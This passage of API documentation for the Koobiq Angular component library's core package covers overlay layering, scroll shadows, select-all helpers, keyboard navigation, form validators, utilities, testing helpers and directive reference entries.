    <router-outlet />
</main>
```

```ts
import { KbqOverlayLayer } from '@koobiq/components/core';
```

The panels of select, tree-select, timezone select, dropdown, popover, autocomplete, datepicker and inline edit whose trigger is inside the marked element move into a layer of their own with `z-index: var(--kbq-overlay-layer-z-index, 980)`; the variable can be set on the element or any of its ancestors. Panels opened from those panels follow them. Modals, sidepanels, toasts, tooltips and the panels opened outside the element or from the bars stay above the bars.

Panels opened from `kbq-top-bar`, `kbq-navbar` and `kbq-vertical-navbar` stay above the bars even when a bar is inside the marked element. To keep the panels of other page chrome there too, mark it with `kbqOverlayLayerExclude`.

Conditions:

- neither the element nor its ancestors create a containing block for fixed elements: `transform`, `filter`, `perspective`, `contain`, `container-type`;
- neither the element nor its ancestors raise it above the bars with `z-index`.

Layered panels become descendants of the marked element: their events bubble through it, and inherited CSS properties come from it. The backdrop of such a panel also stays under the bars, so the bars remain clickable while the panel is open.

**Example: Dropdown scrolling and layering** (`dropdown-scrolling-and-layering`)

```ts dropdown-scrolling-and-layering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
    selector: 'dropdown-scrolling-and-layering-example',
    template: `
        <iframe
            src="/examples/dropdown-scrolling-and-layering-page"
            loading="lazy"
            width="648"
            height="400"
            title="dropdown-scrolling-and-layering-example"
            style="border: none"
        ></iframe>
    `,
    styles: `
        :host {
            display: flex;
            margin: -20px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownScrollingAndLayeringExample {}
```

#### Scroll shadows

The **Overflow Shadow** directives show the edges of a scrollable area. A shadow appears at a header or footer when hidden content remains in the corresponding direction.

```html
<div kbqOverflowShadowContainer #shadow="kbqOverflowShadowContainer" class="scrollable">
    <header [kbqOverflowShadowTop]="shadow">Header</header>

    <!-- content -->

    <footer [kbqOverflowShadowBottom]="shadow">Footer</footer>
</div>
```

| API                          | Purpose                                                  |
| ---------------------------- | -------------------------------------------------------- |
| `debounce`                   | Scroll handling delay in milliseconds. Defaults to `0`   |
| `shadow`                     | The `box-shadow` value in the active state               |
| `KBQ_OVERFLOW_SHADOW_SOURCE` | Event source and scrollable element for a custom wrapper |
| `checkOverflow()`            | Forces a state update                                    |

The default tokens are `--kbq-shadow-overflow-normal-bottom` and `--kbq-shadow-overflow-normal-top`.

The container tracks scrolling and element dimensions. If the content grows only through `scrollHeight`, the observer does not detect the change. Call `checkOverflow()` to update the state.

#### Selecting all items

`getSelectAllState` and `toggleSelectAll` work through an adapter. The library does not prescribe how selected items are stored.

```ts
import { getSelectAllState, KbqSelectAllAdapter, toggleSelectAll } from '@koobiq/components/core';

const adapter: KbqSelectAllAdapter<Item> = {
    items: this.items,
    isSelectable: (item) => !item.disabled,
    isSelected: (item) => this.selection.isSelected(item),
    setSelected: (item, selected) => (selected ? this.selection.select(item) : this.selection.deselect(item))
};

const changed = toggleSelectAll(adapter, { allowDeselect: true });
const masterCheckboxState = getSelectAllState(adapter);
```

Details:

- `setSelected` is called for every selectable item, including items whose state did not change; the implementation must be idempotent;
- `toggleSelectAll` returns only the items that changed;
- `allowDeselect: true` allows a repeated call to clear the selection;
- unavailable items do not affect the master checkbox state;
- an empty set has the `unchecked` state;
- `KbqSelectAllEvent` describes the `onSelectAll` event;
- `shouldSelectSearchText` determines whether the shortcut selects search text instead of toggling options.

#### Keyboard navigation in lists

Keyboard managers control the active item:

- `ListKeyManager` — basic active-item management;
- `FocusKeyManager` — additionally moves focus to the active item;
- `ActiveDescendantKeyManager` — keeps focus on the container and marks the active item.

```ts
this.keyManager = new FocusKeyManager(this.items)
    .withVerticalOrientation()
    .withTypeAhead()
    .withHomeAndEnd()
    .withScrollSize(this.visibleRowsCount)
    .skipPredicate((item) => item.disabled);
```

The Koobiq classes are separate implementations of the CDK classes with the same names, with additions:

- `withScrollSize()`, `setNextPageItemActive()`, and `setPreviousPageItemActive()` add page-wise movement;
- `previousActiveItemIndex` stores the previous active index for range selection with `Shift`.

#### Validators

Validators are static methods that return a `ValidatorFn`.

##### PasswordValidators

| Method              | Error key      | Error payload     |
| ------------------- | -------------- | ----------------- |
| `minLength(min)`    | `minLength`    | `{ min, actual }` |
| `maxLength(max)`    | `maxLength`    | `{ max, actual }` |
| `minUppercase(min)` | `minUppercase` | `{ min, actual }` |
| `minLowercase(min)` | `minLowercase` | `{ min, actual }` |
| `minNumber(min)`    | `minNumber`    | `{ min, actual }` |
| `minSpecial(min)`   | `minSpecial`   | `{ min, actual }` |

`PasswordValidators` returns `null` for values that are not strings. Special characters are **!**, **@**, **#**, **$**, **%**, **^**, **&**, **\***. A usage example is on the [Form field](https://koobiq.io/en/components/form-field.md) page.

##### FileValidators

| Method                       | Error key               | Error payload          |
| ---------------------------- | ----------------------- | ---------------------- |
| `maxFileSize(maxSize)`       | `maxFileSize`           | `{ max, actual }`      |
| `isCorrectExtension(accept)` | `fileExtensionMismatch` | `{ expected, actual }` |

`accept` takes extensions (`.pdf`) and MIME types (`image/png`) — the same values as the `accept` attribute of `input[type=file]`; the `KbqFileTypeSpecifier` type describes them. Examples are on the [File upload](https://koobiq.io/en/components/file-upload.md) page.

`FileValidators` expects a `File` object or an object with a `file` property. For an empty value it returns `null`, then accesses the file properties directly.

#### Shared types

These types describe common input values across components. Use them in custom wrappers to keep them compatible with the Koobiq API.

| Type                                             | Values                                                                                     |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------ |
| `KbqDefaultSizes`                                | `compact`, `normal`, `big`                                                                 |
| `KbqComponentColors`                             | `theme`, `theme-fade`, `contrast`, `contrast-fade`, `error`, `warning`, `success`, `empty` |
| `KbqOrientation`                                 | `horizontal`, `vertical`                                                                   |
| `KbqFlexDirection`, `KbqFlexWrap`                | `row` / `column`, `nowrap` / `wrap`                                                        |
| `PopUpPlacements`, `PopUpTriggers`, `PopUpSizes` | Position, trigger, and size of pop-up elements                                             |
| `KbqMultipleInput`, `MultipleMode`               | Multiple-selection mode for lists and trees                                                |

`KbqColorDirective` converts the `color` value into a `kbq-<value>` class. For example, `color="error"` adds `kbq-error`, while `color="empty"` adds `kbq-empty`. These classes are created at runtime, so they may not appear as complete strings in the sources.

`resolveMultipleMode` converts accepted `multiple` values into a selection mode. An unrecognized value enables single selection and reports a message in development mode.

#### Panel width

The `KbqPanelWidth`, `KbqPanelMinWidth`, and `KbqPanelMaxWidth` types describe panel-width rules.

| `panelWidth` value | Behavior                                                                                |
| ------------------ | --------------------------------------------------------------------------------------- |
| `null`, `''`       | The width follows the content but is not less than the trigger width or `panelMinWidth` |
| `'auto'`           | The width equals the trigger width but is not less than `panelMinWidth`                 |
| Number             | An explicit width in pixels                                                             |
| CSS string         | An explicit width, such as `fit-content` or `20rem`                                     |

`panelMinWidth` applies only to `null`, `''`, and `'auto'`. The default is `KBQ_PANEL_DEFAULT_MIN_WIDTH`, which is `200` pixels.

`KbqPanelMaxWidth` limits content-based growth. For `null`, the `--kbq-panel-size-width-max` token is used. The limit does not make the panel narrower than the trigger or override an explicit width.

#### Utilities

| Utility                                               | Purpose                                                                                          |
| ----------------------------------------------------- | ------------------------------------------------------------------------------------------------ |
| `kbqDeepMerge(base, patch)`, `KbqDeepPartial<T>`      | Recursively merges configurations                                                                |
| `kbqInjectNativeElement<T>()`                         | Gets `nativeElement` from an injected `ElementRef`                                               |
| `isHtmlElement`, `isElement`, `isNull`, `isUndefined` | Checks and narrows types                                                                         |
| `isBoolean`                                           | Checks and narrows to `boolean`. Deprecated, removed in 22.0.0: use `typeof value === 'boolean'` |
| `getNodesWithoutComments(nodes)`                      | Gets a list of nodes without comments                                                            |
| `getContentNodes(element)`                            | Child nodes that carry content: comments and whitespace-only text ignored                        |
| `supportsNativeDisabled(element)`                     | Whether the host tag accepts the native `disabled` attribute                                     |
| `escapeRegExp(value)`                                 | Escapes a string for use in a regular expression                                                 |
| `isMac()`                                             | Detects the platform for keyboard shortcut labels                                                |
| `KbqMeasureScrollbarService`                          | Measures the system scrollbar width. Deprecated, removed in 22.0.0                               |
| `kbqInjectAutofilled()`                               | A signal that the browser autofilled a field                                                     |
| `KbqNormalizeWhitespace`                              | Replaces a thin space with a regular space when copying                                          |
| `kbqRevealSelection`, `kbqSetSelectionRange`          | Selects text and scrolls a field to the selected fragment                                        |

`KbqMeasureScrollbarService` returns `0` during server-side rendering.

`KbqNormalizeWhitespace` applies to fields with formatted numbers. When copying, the directive replaces the thin spaces between digit groups with regular spaces. It is not enabled by default. See the [Input](https://koobiq.io/en/components/input.md) page for an example.

`kbqInjectAutofilled()` is called from a directive's injection context on an `input` or `textarea`.

#### Testing

**Core** exports utilities used to test Koobiq components. They are also suitable for testing application code built on the library.

| Utility                                                                                  | Purpose                                           |
| ---------------------------------------------------------------------------------------- | ------------------------------------------------- |
| `dispatchFakeEvent`, `dispatchKeyboardEvent`, `dispatchMouseEvent`, `dispatchTouchEvent` | Creates and dispatches an event                   |
| `createFakeEvent`, `createKeyboardEvent`, `createMouseEvent`, `createTouchEvent`         | Creates an event without dispatching it           |
| `typeInElement(value, element)`                                                          | Enters text with the full sequence of events      |
| `patchElementFocus(element)`                                                             | Controls focus and blur in the test environment   |
| `wrappedErrorMessage(error)`                                                             | Creates a regular expression for an error message |

#### Styles

Prebuilt CSS files are described on the [Installation](https://koobiq.io/en/main/installation.md) and [Theming](https://koobiq.io/en/main/theming.md) pages.

For SCSS builds, use the following mixins:

```scss
@use '@koobiq/components' as components;
@use '@koobiq/components/core/styles/visual';

// Shared styles: overlay, visually hidden text, and the progress indicator.
@include components.kbq-core();

// Theme and global styles for directive-based components.
@include components.koobiq-theme();

// Typography classes.
@include components.koobiq-typography();

// Base page styles and breakpoint layouts.
@include visual.body-html();
@include visual.layouts-for-breakpoint();
```

### API

#### Components

##### KbqActionContainer (component)

```ts
@Component({ selector: 'kbq-action-container', exportAs: 'kbqActionContainer' })
class KbqActionContainer {}
```

##### KbqOptgroup (component)

Component that is used to group instances of `kbq-option`.
When options aren't provided as `ng-content`, used as a Group Header with styling.

```ts
@Component({ selector: 'kbq-optgroup', exportAs: 'kbqOptgroup' })
class KbqOptgroup {
    readonly label = input<string>();
    readonly disabled = input<boolean>(false);
    labelId: string;
}
```

- `[disabled]`: `boolean` — Whether the group, and every option in it, is disabled.
- `labelId`: `string` — Unique id for the underlying label.

##### KbqOption (component)

Single option inside of a `<kbq-select>` element.

```ts
@Component({ selector: 'kbq-option', exportAs: 'kbqOption' })
class KbqOption extends KbqOptionBase implements KbqTitleTextRef {
    value = input<any>();
    readonly selectable = input<boolean>(true);
    readonly userSelect = input<boolean>(false);
    showCheckbox = input<boolean | undefined>();
    viewValue = input<string | undefined>();
    disabled = input<boolean>(false);
    readonly group: KbqOptgroup | null;
    get textElement(): ElementRef<HTMLElement> | undefined;
    readonly onSelectionChange: EventEmitter<KbqOptionSelectionChange>;
    readonly stateChanges: Subject<void>;
    get multiple(): boolean;
    get id(): string;
    get selected(): boolean;
    get active(): boolean;
    select(emitEvent?: boolean): void;
    deselect(emitEvent?: boolean): void;
    focus(): void;
    setActiveStyles(): void;
    setInactiveStyles(): void;
    getLabel(): string;
    handleKeydown(event: KeyboardEvent): void;
    selectViaInteraction(): void;
    getTabIndex(): string;
    getHostElement(): HTMLElement;
}
```

- `[value]`: `any` — The form value of the option.
- `[showCheckbox]`: `boolean | undefined` — Whether the option renders a checkbox. Follows the multiple selection mode of the parent until bound.
- `[viewValue]`: `string | undefined` — The displayed value of the option. It is necessary to show the selected option in the
  select's trigger. Falls back to the text of the option.
- `[disabled]`: `boolean` — Whether the option is disabled, through its own input or its group.
- `textElement`: `ElementRef<HTMLElement> | undefined` — Element holding the text of the option, measured by `kbq-title`.
- `onSelectionChange`: `EventEmitter<KbqOptionSelectionChange>` — Event emitted when the option is selected or deselected. A stream rather than an `output()`: it keeps
  emitting after the option is destroyed, because a select holds on to a selected option that its search or
  virtual scroll removed.
- `stateChanges`: `Subject<void>` — Emits when the state of the option changes and any parents have to be notified.
- `multiple`: `boolean` — Whether the wrapping component is in multiple selection mode.
- `active`: `boolean` — Whether or not the option is currently active and ready to be selected.
  An active option displays styles as if it is focused, but the
  focus is actually retained somewhere else. This comes in handy
  for components like autocomplete where focus must remain on the input.
- `focus()`: `void` — Moves keyboard focus to this option and reveals it — see `kbqFocusAndReveal`.
- `setActiveStyles()`: `void` — This method sets display styles on the option to make it appear
  active. This is used by the ActiveDescendantKeyManager so key
  events will display the proper options as active on arrow key events.
- `setInactiveStyles()`: `void` — This method removes display styles on the option that made it appear
  active. This is used by the ActiveDescendantKeyManager so key
  events will display the proper options as active on arrow key events.
- `getLabel()`: `string` — Gets the label to be used when determining whether the option should be focused.
- `handleKeydown()`: `void` — Ensures the option is selected when activated from the keyboard.
- `selectViaInteraction()`: `void` — Selects the option while indicating the selection came from the user. Used to
  determine if the select's view -> model callback should be invoked.

##### KbqOptionActionComponent (component)

```ts
@Component({ selector: 'kbq-option-action', exportAs: 'kbqOptionAction' })
class KbqOptionActionComponent {
    readonly ariaLabel = input<string>(undefined, {
        alias: 'aria-label'
    });
    readonly disabled = input<boolean>(false);
    hasFocus: boolean;
    get active(): boolean;
    focus(origin?: FocusOrigin, options?: FocusOptions): void;
    onClick($event: any): void;
    onKeyDown($event: any): void;
}
```

- `[aria-label]`: `string` — Accessible name of the button. The rendered content is an icon, so without a name the button
  is announced as unlabelled; defaults to the localized "option actions" text.
- `[disabled]`: `boolean` — Whether the action is disabled.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

#### Directives

##### KbqCheckable (directive)

Shared behavior for checkbox-like controls: checked/disabled/indeterminate/tabIndex state, the click-to-toggle
algorithm, ARIA-checked computation, and `ControlValueAccessor` change plumbing.

Meant to be applied via `hostDirectives` by components that render their own native `<input type="checkbox">`
and markup (e.g. `KbqCheckbox`, `KbqToggleComponent`, or custom checkbox-like primitives). Hosts stay
responsible for their own public inputs/outputs, `FocusMonitor` wiring, and emitting their own typed
`change` event - this directive only centralizes the state and decisions behind them.

```ts
@Directive({ selector: '[kbqCheckable]', exportAs: 'kbqCheckable' })
class KbqCheckable implements ControlValueAccessor {
    readonly checked = model<boolean>(false);
    readonly disabled = model<boolean>(false);
    readonly indeterminate = model<boolean>(false);
    readonly effectiveTabIndex: Signal<number>;
    getAriaChecked(): KbqCheckedState;
    toggle(): void;
    resolveClick(
        clickAction: KbqCheckableClickAction
    ): KbqCheckableClickResult;
    resetNativeInput(nativeInput: HTMLInputElement): void;
    notifyFormValueChange(value: boolean): void;
}
```

- `effectiveTabIndex`: `Signal<number>` — The tab index actually applied to the native input: forced to `-1` while disabled.
- `getAriaChecked()`: `KbqCheckedState` — Returns the ARIA-checked value: `'true'`, `'false'`, or `'mixed'` when indeterminate.
- `toggle()`: `void` — Toggles the `checked` state and notifies the registered `ControlValueAccessor` change handler.
- `resolveClick()`: `KbqCheckableClickResult` — Resolves what a click on the native input should do, based on the current state and `clickAction`.
  Pure - does not mutate state. Callers apply `checked`/`indeterminate` themselves and own emitting
  their own change events, so timing/order stays identical to a hand-written click handler.
- `resetNativeInput()`: `void` — Resets the native input to match the current `checked`/`indeterminate` state (used for the `noop` click action).
- `notifyFormValueChange()`: `void` — Notifies the registered `ControlValueAccessor` change handler.

##### KbqColorDirective (directive)

Renders the `color` of a component as its `kbq-<color>` host class.

```ts
@Directive()
class KbqColorDirective<T extends string = KbqComponentColors | string> {
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqForm (directive)

```ts
@Directive({
    selector: '.kbq-form-vertical, .kbq-form-horizontal',
    exportAs: 'kbqForm'
})
class KbqForm {
    readonly elements: Signal<readonly KbqFormElement[]>;
    handleElements(elements: readonly KbqFormElement[]): void;
}
```

##### KbqFormElement (directive)

```ts
@Directive({
    selector: '.kbq-form__row, .kbq-form__fieldset, .kbq-form__legend',
    exportAs: 'kbqFormElement'
})
class KbqFormElement {
    margin: boolean;
    isFieldSet: boolean;
    hasLegend: boolean;
    isHorizontal: boolean;
    readonly elements: Signal<readonly KbqFormElement[]>;
}
```

##### KbqLocaleOverridesDirective (directive)

Overrides localized strings for one element and its subtree, as a template binding.

The provider helpers — `kbqSelectLocaleConfigurationProvider` and its siblings — can only be attached to
an injector, so scoping an override to a single component instance means owning a component boundary.
This directive is the per-instance counterpart: every localized component applies it through
`hostDirectives` and exposes it as `localeOverrides`, and it can also be placed on any element of your
own to scope an override to a whole region.

It is also the read side: a component that applies it takes its own strings from `read`, so the
overrides and the strings they are supposed to override can never come apart. The two directions keep
separate names — `[localeOverrides]` writes a partial, `localeConfiguration()` reads the resolved whole.

Only the keys you pass are overridden; everything else keeps following the active locale.

The `hostDirectives` entry is spelled out in every component rather than shared as a const on purpose:
Angular resolves `hostDirectives` with the partial evaluator, and a component in another entry point
resolves this package through the built `index.d.ts`, where a const is a declaration without an
initializer — `NG1010: Host directive reference must be a class`.

```ts
@Directive({ selector: '[kbqLocaleOverrides]', exportAs: 'kbqLocaleOverrides' })
class KbqLocaleOverridesDirective implements KbqLocaleOverridesHost {
    readonly overrides = input<KbqPartialLocaleData | undefined>(
        undefined,
        { alias: 'kbqLocaleOverrides' }
    );
    readonly resolvedOverrides: Signal<KbqPartialLocaleData>;
    read<K extends KbqLocaleSection>(
        section: K,
        token: InjectionToken<KbqLocaleData[K]>
    ): Signal<KbqLocaleData[K]>;
}
```

- `[kbqLocaleOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `read()`: `Signal<KbqLocaleData[K]>` — Reactive localized strings for one section, resolved against this carrier and every ancestor of it.

  The counterpart of `kbqInjectLocaleConfiguration` for a component that carries this directive.
  It resolves the same sources — the two are interchangeable in what they return — but it is reached
  through the carrier, so a component that forgot the `hostDirectives` entry fails at construction
  instead of silently resolving an ancestor's carrier. Resolve it with `{ self: true }` for that to
  hold: `{ host: true }` reaches the enclosing component's host element, where an ancestor would
  answer. Carrying the directive is what makes `[localeOverrides]` work, so every localized component
  reads this way; a component with no carrier of its own — a leaf, a pipe — calls
  `kbqInjectLocaleConfiguration` instead.

  Applying the directive is not the same as exposing its input: `KbqDropzoneContent` carries it without
  one, because its content has no element for a consumer to bind on.

  Sources are merged in the order the localization guide documents, and repeated calls with the same
  token return the same signal.

  Call it from a field initializer or a constructor. It needs no injection context, but the first call
  for a token opens a subscription, which Angular forbids inside a reactive context — a call from a
  template expression or a `computed` throws, and only until the token has been cached.
  - `section`: `K` — Section of the locale data to read.
  - `token`: `InjectionToken<KbqLocaleData[K]>` — Configuration token, whose factory supplies the default strings.

##### KbqNormalizeWhitespace (directive)

```ts
@Directive({ selector: '[kbqNormalizeWhitespace]' })
class KbqNormalizeWhitespace {
    onCopy($event: ClipboardEvent): void;
}
```

- `onCopy()`: `void` — Replace thin-space with space on copy event

##### KbqOverflowShadowBottom (directive)

Marker directive for the bottom-shadow indicator. Linked to the container directive via a
template ref: `<footer [kbqOverflowShadowBottom]="containerRef">`.

Sets an inline `box-shadow` on the host element. See `KbqOverflowShadowTop`.

```ts
@Directive({
    selector: '[kbqOverflowShadowBottom]',
    exportAs: 'kbqOverflowShadowBottom'
})
class KbqOverflowShadowBottom {
    readonly ref = input<KbqOverflowShadowContainer | undefined>(
        undefined,
        { alias: 'kbqOverflowShadowBottom' }
    );
    readonly shadow = input<string>(
        'var(--kbq-shadow-overflow-normal-top)'
    );
}
```

- `[kbqOverflowShadowBottom]`: `KbqOverflowShadowContainer | undefined` — Reference to the container directive. See `KbqOverflowShadowTop.ref`.
- `[shadow]`: `string` — Value of `box-shadow` when the shadow is active. Defaults to the standard Koobiq token.

##### KbqOverflowShadowContainer (directive)

Container directive that sits on the scrollable element. Listens for scroll events and
keeps the `overflow` signal up to date, which is then read by `KbqOverflowShadowTop` and
`KbqOverflowShadowBottom`.

The scroll source is auto-detected: if `KBQ_OVERFLOW_SHADOW_SOURCE` is provided in the
host's DI, that source is used; otherwise the native `scroll` event on the host element
is observed.

In addition to scroll events, the directive observes the scroll source's box-size changes
via CDK's `SharedResizeObserver` — this covers layout changes that happen without a scroll
and alter the viewport size (modal open/close animation, window resize, reflow that resizes
the element). Content that only grows `scrollHeight` without changing the element's box size
is not detected by the resize observer; call `checkOverflow()` manually for those cases.

```ts
@Directive({
    selector: '[kbqOverflowShadowContainer]',
    exportAs: 'kbqOverflowShadowContainer'
})
class KbqOverflowShadowContainer {
    readonly debounce = input<number>(0);
    readonly overflow: WritableSignal<KbqOverflowShadowState>;
    checkOverflow(): void;
}
```

- `[debounce]`: `number` — Optional debounce for scroll events, in milliseconds. Default is 0.
- `overflow`: `WritableSignal<KbqOverflowShadowState>` — Current shadow state. Re-checked on every scroll event and resize; changes only when an edge does.
- `checkOverflow()`: `void` — Force-rechecks overflow and updates the signal. Calling this manually is normally not
  necessary — scroll events plus `SharedResizeObserver` cover the standard scenarios. Kept
  for rare cases when external code knows about a layout change more precisely than the
  browser observers (e.g. content that only grows `scrollHeight`).

##### KbqOverflowShadowTop (directive)

Marker directive for the top-shadow indicator. Linked to the container directive via a
template ref: `<header [kbqOverflowShadowTop]="containerRef">`.

Sets an inline `box-shadow` on the host element using the value from the `shadow` input
(the Koobiq token by default). Consumers can override the shadow from the outside by
overriding the token `--kbq-shadow-overflow-normal-bottom` (or whichever token is passed
via the `shadow` input) in the relevant cascade scope.

```ts
@Directive({
    selector: '[kbqOverflowShadowTop]',
    exportAs: 'kbqOverflowShadowTop'
})
class KbqOverflowShadowTop {
    readonly ref = input<KbqOverflowShadowContainer | undefined>(
        undefined,
        { alias: 'kbqOverflowShadowTop' }
    );
    readonly shadow = input<string>(
        'var(--kbq-shadow-overflow-normal-bottom)'
    );
}
```

- `[kbqOverflowShadowTop]`: `KbqOverflowShadowContainer | undefined` — Reference to the container directive. May be `undefined` if the container has not
  been rendered yet (e.g. the indicator lives in one `@if` block and the container in
  another).
- `[shadow]`: `string` — Value of `box-shadow` when the shadow is active. Defaults to the standard Koobiq token.

##### KbqOverlayLayer (directive)

Renders the panels opened from inside the element into an overlay layer of its own, beneath a sticky `kbq-top-bar`
or `kbq-navbar`, so they slide under the bar while the content scrolls.

Covers the panels of select, tree-select, timezone select, dropdown, popover, autocomplete, datepicker and inline
edit. Modals, sidepanels, toasts, tooltips and the panels opened from outside the element or from a
`KbqOverlayLayerExclude` element inside it, such as the bars, stay in the application-wide overlay container
above the bars. The layer's `z-index` is `--kbq-overlay-layer-z-index` (`980`).

```ts
@Directive({ selector: '[kbqOverlayLayer]' })
class KbqOverlayLayer {}
```

##### KbqOverlayLayerExclude (directive)

Keeps the panels opened from inside the element in the application-wide overlay container, even within a
`KbqOverlayLayer` element, so they stay above page chrome they overlap. `kbq-top-bar`, `kbq-navbar` and
`kbq-vertical-navbar` apply it themselves.

```ts
@Directive({ selector: '[kbqOverlayLayerExclude]' })
class KbqOverlayLayerExclude {}
```

##### KbqPopUp (directive)

```ts
@Directive()
abstract class KbqPopUp {
    protected readonly renderer: Renderer2;
    protected get elementRef(): ElementRef<HTMLElement>;
    protected readonly changeDetectorRef: ChangeDetectorRef;
    readonly destroyRef: DestroyRef;
    readonly hovered: Signal<boolean>;
    trigger: KbqPopUpTrigger<unknown>;
    header: string | TemplateRef<unknown>;
    content: string | TemplateRef<unknown>;
    context: { $implicit: unknown } | null;
    classMap: {};
    arrow: boolean;
    arrowCentered: boolean;
    protected arrowCenterInset: number;
    defaultPaddings: boolean;
    offset: number | null;
    visibility: PopUpVisibility;
    visibleChange: EventEmitter<boolean>;
    protected prefix: string;
    protected readonly onHideSubject: Subject<void>;
    isTemplateRef(value: any): boolean;
    show(delay: number): void;
    hide(delay: number): void;
    isVisible(): boolean;
    updateClassMap(
        placement: string,
        customClass: string,
        classMap?: any
    ): void;
    afterHidden(): Observable<void>;
    protected setHovered(value: boolean): void;
    detectChanges(): void;
    protected afterShowAnimation(): void;
    protected addEventListenerForHide(): void;
    protected setStickPosition(): void;
}
```

- `elementRef`: `ElementRef<HTMLElement>` — The element the pop-up measures and decorates: its host, unless a subclass renders a panel of its own.
- `hovered`: `Signal<boolean>` — Whether the pointer is over the pop-up.
- `classMap`: `{}` — CSS classes of the pop-up element: the placement, the custom class and the modifiers of the subclass.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `arrowCenterInset`: `number` — Distance from a panel edge to the arrow center, in pixels. Defaults to `0`.
- `visibility`: `PopUpVisibility` — Stage of the pop-up's life: not shown yet, visible, or hidden.
- `onHideSubject`: `Subject<void>` — Subject for notifying that the tooltip has been hidden from the view
- `hide()`: `void` — Hides the popup after a specified delay.

  The hide timeout triggers the hiding of the popup by updating visibility and emitting relevant events.
  - `delay`: `number` — The delay in milliseconds before hiding the popup.
- `afterHidden()`: `Observable<void>` — Returns an observable that notifies when the tooltip has been hidden from view.
- `setHovered()`: `void` — Records whether the pointer is over the pop-up, and lets the trigger re-evaluate its delayed hide.
- `afterShowAnimation()`: `void` — Called once the pop-up has animated in. Only the entrance animates: `hide()` emits `onHideSubject`
  synchronously and `KbqPopUpTrigger` detaches the overlay in the same call stack.
- `addEventListenerForHide()`: `void` — Binds the `mouseleave` hide listener on the pop-up element, at most once per instance.

##### KbqPopUpTrigger (directive)

Abstract base directive for hover/focus/click-triggered pop-ups (e.g. tooltip and popover). It manages the
CDK overlay lifecycle, binds the trigger event listeners, resolves placement via a flexible connected position
strategy, and controls show/hide timing. Concrete subclasses supply the pop-up component type, its content,
and the overlay configuration.

```ts
@Directive()
abstract class KbqPopUpTrigger<T> implements KbqSiblingPopup {
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    arrowCentered: boolean;
    protected setHovered(value: boolean): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `setHovered()`: `void` — Records whether the pointer is over the trigger.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

##### KbqReadStateDirective (directive)

Marks its host as read once the user has dwelled on it long enough, or has clicked it.

Dwelling is tracked for pointer (`mouseenter`/`mouseleave`) and keyboard (`focusin`/`focusout`)
interaction alike, so the host becomes readable without a mouse. The two channels run
independently — the pointer can still rest on the host after focus has left, and the other way
round — so the dwell ends only once both of them have. `focusin`/`focusout` bubble, so focusing any
control inside the host counts as dwelling on the host itself, and moving focus between two of them
keeps the dwell running.

```ts
@Directive()
class KbqReadStateDirective {
    get timestamp(): number | undefined;
    timeToRead: number;
    readonly read: BehaviorSubject<boolean>;
    startDwell(channel?: 'pointer' | 'focus'): void;
    endDwell(channel?: 'pointer' | 'focus', event?: FocusEvent): void;
}
```

- `timestamp`: `number | undefined` — Start of the earliest dwell still in progress, or `undefined` while the host is neither hovered nor focused.
- `timeToRead`: `number` — How long (ms) the user has to dwell on the host before it counts as read.
- `startDwell()`: `void` — Starts measuring a dwell on one channel. Re-entering the same one keeps its earliest start.
- `endDwell()`: `void` — Ends the dwell on one channel and, once no channel is left dwelling, marks the host as read when
  the whole dwell lasted longer than `timeToRead`.
  - `event`: `FocusEvent` — the `focusout` that ended a focus dwell. Its `relatedTarget` is the element about to
    receive focus: focus landing inside the host again is a move between the host's own controls, not
    the user leaving.

##### KbqSelectFooter (directive)

```ts
@Directive({ selector: 'kbq-select-footer, [kbq-select-footer]' })
class KbqSelectFooter {}
```

##### KbqSelectFooterItem (directive)

Action inside a `kbq-select-footer`, drawn as a row of the drop-down menu rather than as a form
button. Apply it to a native `button` or `a` so activation and semantics stay native.

```ts
@Directive({ selector: '[kbq-select-footer-item]' })
class KbqSelectFooterItem {}
```

##### KbqSelectMatcher (directive)

```ts
@Directive({ selector: 'kbq-select-matcher, [kbq-select-matcher]' })
class KbqSelectMatcher {
    readonly useDefaultHandlers = input<boolean>(true);
}
```

##### KbqSelectSearch (directive)

```ts
@Directive({ selector: '[kbqSelectSearch]', exportAs: 'kbqSelectSearch' })
class KbqSelectSearch {
    readonly changes: EventEmitter<string>;
    isSearchChanged: boolean;
    get ngControl(): NgControl | null;
    setPlaceholder(value: string): void;
    focus(): void;
    reset(): void;
    value(): unknown;
    handleKeydown(event: KeyboardEvent): void;
}
```

##### KbqSelectSearchEmptyResult (directive)

```ts
@Directive({
    selector: '[kbq-select-search-empty-result]',
    exportAs: 'kbqSelectSearchEmptyResult'
})
class KbqSelectSearchEmptyResult {}
```

##### KbqSelectTrigger (directive)

```ts
@Directive({ selector: 'kbq-select-trigger, [kbq-select-trigger]' })
class KbqSelectTrigger {}
```

##### KbqStateSaving (directive)

Persists one component's state through `KBQ_STATE_STORE`.

